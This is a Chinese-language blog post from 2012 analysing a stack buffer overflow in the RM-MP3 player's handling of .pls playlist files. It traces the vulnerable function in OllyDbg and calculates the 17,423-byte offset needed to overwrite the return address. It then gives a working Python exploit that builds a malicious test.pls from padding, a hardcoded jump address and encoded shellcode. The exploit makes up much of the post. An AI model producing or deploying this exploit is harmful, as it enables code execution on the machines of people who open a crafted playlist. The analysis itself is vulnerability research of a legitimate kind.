RM-MP3 pls文件溢出分析报告

测试平台:

    Windows xp

测试工具:

    OllyDbg

挖掘过程:

    1.根据pls格式构造超长文件路径,发现程序异常崩溃

    2.查找程序崩溃点:

        A.用OD加载主程序,bp GetOpenFileNameA,打开pls文件,开始跟踪

        B.通过一系列分析和跟踪,确定最终出现异常的call

        C.仔细分析该函数:

      1. 该函数分配了0xAA28的变量空间,接着push了0x10字节的寄存器数据。此时,esp距此函数返回地址:0xAA28+0x10=0xAA38字节

      

      2. 在函数读取pls文件里的文件路径时,将从esp+0x30开始保存读取到的文件路径(test.pls里只包含一条文件路径数据):

      

      3. 之后,将esp+0x30处数据复制到esp+0x6634处,此时,若数据过长,将覆盖函数返回地址:

      

      4. 函数执行到最后,将恢复保存的寄存器值及平衡堆栈,此时,返回地址被覆盖:

      

 

漏洞分析:

            通过跟踪,模拟出该函数主要代码执行过程中的堆栈分布图:

      

      分析:从esp+0x6634开始的超长文件路径将覆盖返回地址。 覆盖到返回地址时,共需要:0xAA38-0x6634+0xB = 0x440F(17423)字节。

 

漏洞测试:(Python)

  

import os

shellcode=\
"\x90\x90\x90\x90"\
"\x83\xC4\x14\x33\xC9\x8A\x1C"\
"\x0C\x80\xF3\x11\x88\x1C\x0C\x41"\
"\x80\xF9\x87\x75\xF1\xED\x75\xB0"\
"\x21\x11\x11\x11\x9A\x51\x1D\x9A"\
"\x51\x0D\x9A\x11\x9A\x79\x19\x9A"\
"\x54\x2D\x9A\x45\x14\x69\x12\xC4"\
"\x9A\x5B\x09\x9A\x4B\x31\x12\xCC"\
"\x58\x9A\x25\x9A\x12\xE4\xA9\x56"\
"\x74\x65\x41\x28\x17\x64\xE0\xA9"\
"\x63\x7E\x72\x50\x28\x57\x15\x64"\
"\xF6\x9A\x4B\x35\x12\xCC\x77\x9A"\
"\x1D\x5A\x9A\x4B\x0D\x12\xCC\x9A"\
"\x15\x9A\x12\xD4\x9A\xC9\x79\x69"\
"\x74\x72\x11\x79\x46\x78\x7F\x54"\
"\x45\x44\xEE\xC2\x79\x61\x70\x75"\
"\x11\x79\x7F\x7E\x65\x74\x9A\xDD"\
"\x7B\x10\x40\xEE\xC1\x79\x74\x62"\
"\x62\x11\x79\x41\x63\x7E\x72\x79"\
"\x54\x69\x78\x65\x45\x44\xEE\xC2"\
"\x7B\x11\xEE\xC1"

file=open('test.pls','wb+')
file.write('http://')
file.write('A'*17417)
file.write('\x7B\x46\x86\x7C')
file.write(shellcode)
file.close()
posted @ 2012-05-20 11:11  little evil  阅读(310)  评论(0编辑  收藏  举报